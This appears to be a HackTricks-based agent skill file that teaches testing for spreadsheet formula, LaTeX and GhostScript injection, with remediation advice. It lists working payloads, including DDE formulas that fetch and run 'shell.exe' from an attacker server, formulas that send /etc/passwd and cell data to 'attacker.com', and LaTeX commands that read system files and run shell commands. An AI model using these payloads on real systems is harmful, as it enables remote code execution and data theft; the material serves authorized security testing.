Hacktricks-skills formula-latex-ghostscript-injection
Security testing skill for Formula/CSV Injection, LaTeX Injection, and GhostScript Injection vulnerabilities. Use this skill whenever you need to test for spreadsheet formula injection (CSV/Excel), LaTeX document injection, or GhostScript PDF processing injection. Trigger this skill when analyzing file upload endpoints, document generation features, CSV export functionality, or any system that processes user input into spreadsheet formulas, LaTeX documents, or PDF files. This skill helps identify injection vectors, generate test payloads, and understand exploitation techniques for authorized security assessments.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/formula-csv-doc-latex-ghostscript-injection/SKILL.MDFormula/CSV/LaTeX/GhostScript Injection Testing
A comprehensive skill for testing injection vulnerabilities in spreadsheet formulas, LaTeX documents, and GhostScript PDF processing.
When to Use This Skill
Use this skill when:
- Testing CSV export functionality for formula injection
- Analyzing document generation features that use LaTeX
- Assessing PDF processing pipelines using GhostScript
- Reviewing file upload endpoints that process spreadsheets or documents
- Investigating data exfiltration risks through spreadsheet formulas
- Testing for Remote Code Execution (RCE) via document processing
Safety Notice
⚠️ Authorized Testing Only: These techniques should only be used in authorized security assessments. Never test systems you don't own or have explicit permission to assess.
Formula/CSV Injection
Understanding the Vulnerability
When user input is reflected inside CSV files that will be opened by Excel or similar spreadsheet applications, attackers can inject formulas that execute when the file is opened.
Detection Methodology
- Identify CSV export endpoints - Look for download links, export buttons, or API endpoints returning CSV data
- Test with formula prefixes - Submit inputs starting with
,=
,+
,-
, or@tab - Check for DDE payloads - Test Dynamic Data Exchange injection vectors
- Verify Excel warnings - Note that modern Excel shows warnings for external content
Test Payloads
Basic Formula Injection
=10+20 =SUM(1+9) =cmd|' /C calc'!A0
DDE Payloads (Remote Code Execution)
DDE ("cmd";"/C calc";"!A0")A0 @SUM(1+9)*cmd|' /C calc'!A0 =cmd|' /C notepad'!'A1' =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hyperlink Injection (Data Exfiltration)
=HYPERLINK("http://attacker.com/exfil?data=","Click here") =HYPERLINK("http://attacker.com/"&A1,"Link")
LibreOffice Calc Exploitation
LibreOffice can read local files and exfiltrate data:
='file:///etc/passwd'#$passwd.A1 =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1))) =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets OOB Exfiltration
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10") =IMPORTFEED(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2))) =IMPORTHTML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1) =IMAGE("https://<attacker IP:Port>/images/test.png")
LaTeX Injection
Understanding the Vulnerability
LaTeX injection occurs when user input is processed by LaTeX compilers (pdflatex, xelatex, etc.) without proper sanitization. The severity depends on shell escape settings.
Shell Escape Modes
| Mode | Description | Risk |
|---|---|---|
| Disables | Low |
| Limited safe commands | Medium |
| Full command execution | Critical |
Detection Methodology
- Identify LaTeX processing - Look for PDF generation, document compilation, or LaTeX rendering
- Test with LaTeX commands - Submit inputs containing
,\input
,\write18\include - Check error messages - LaTeX errors can reveal processing details
- Test file operations - Attempt to read/write files via LaTeX
File Read Payloads
\input{/etc/passwd} \include{password} \lstinputlisting{/usr/share/texmf/web2c/texmf.cnf} \usepackage{verbatim} \verbatiminput{/etc/passwd}
Read Single Line File
\newread\file \openin\file=/etc/issue \read\file to\line \text{\line} \closein\file
Read Multi-line File
\newread\file \openin\file=/etc/passwd \loop\unless\ifeof\file \read\file to\fileline \text{\fileline} \repeat \closein\file
File Write Payloads
\newwrite\outfile \openout\outfile=cmd.tex \write\outfile{Hello-world} \closeout\outfile
Command Execution Payloads
\immediate\write18{env > output} \input{output} \input{|"/bin/hostname"} \input{|"extractbb /etc/passwd > /tmp/b.tex"} \documentclass{article}\begin{document} \immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"} \end{document}
Alternative Commands (when mpost restricted)
\input{|"bibtex8 --version > /tmp/b.tex"} \input{|"kpsewhich pdfetex.ini > /tmp/b.tex"} \input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"} \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Base64 Encoding (for special characters)
\immediate\write18{env | base64 > test.tex} \input{test.tex}
Cross-Site Scripting via LaTeX
\url{javascript:alert(1)} \href{javascript:alert(1)}{placeholder}
GhostScript Injection
Understanding the Vulnerability
GhostScript is a PDF interpreter that can execute arbitrary code if user input is not properly sanitized. Common in PDF processing, conversion, and rendering pipelines.
Detection Methodology
- Identify GhostScript usage - Look for PDF processing, conversion tools, or image extraction
- Test with GhostScript operators - Submit inputs containing
,system()exec() - Check version - Older versions have more vulnerabilities
- Test file operations - Attempt to read/write files
Common Attack Vectors
- PDF metadata injection
- JavaScript execution in PDFs
- External file inclusion
- Command execution via GhostScript operators
Reference Resources
Testing Workflow
Step 1: Reconnaissance
- Identify all file processing endpoints
- Determine file types accepted (CSV, LaTeX, PDF)
- Map data flow from input to output
- Check for sanitization or validation
Step 2: Payload Testing
- Start with benign payloads to confirm processing
- Escalate to file read operations
- Test command execution if file operations work
- Attempt data exfiltration via OOB channels
Step 3: Verification
- Check for command execution indicators
- Monitor network traffic for exfiltration
- Verify file creation/modification
- Document all findings
Step 4: Reporting
- Include proof-of-concept payloads
- Explain impact and risk
- Provide remediation recommendations
- Note affected endpoints and parameters
Remediation Recommendations
Formula/CSV Injection
- Escape formula characters - Prefix cells with single quote (
)' - Use non-Excel formats - Consider JSON, XML, or plain text
- Validate input - Reject inputs starting with
,=
,+
,-@ - Add warnings - Include security notices in exported files
LaTeX Injection
- Use
- Disable shell escape by default--no-shell-escape - Sanitize input - Remove or escape LaTeX commands
- Use restricted mode -
if commands needed--shell-restricted - Sandbox processing - Run LaTeX in isolated environments
GhostScript Injection
- Update GhostScript - Keep to latest version
- Disable dangerous operators - Use
mode-dSAFER - Validate input - Sanitize all user-provided content
- Sandbox processing - Use containerization or VMs
Helper Scripts
Use the bundled scripts to generate test payloads:
- Generate CSV injection payloadsscripts/generate_csv_payloads.py
- Generate LaTeX injection payloadsscripts/generate_latex_payloads.py
- Test for injection vulnerabilitiesscripts/test_injection.py
Run scripts with
--help for usage information.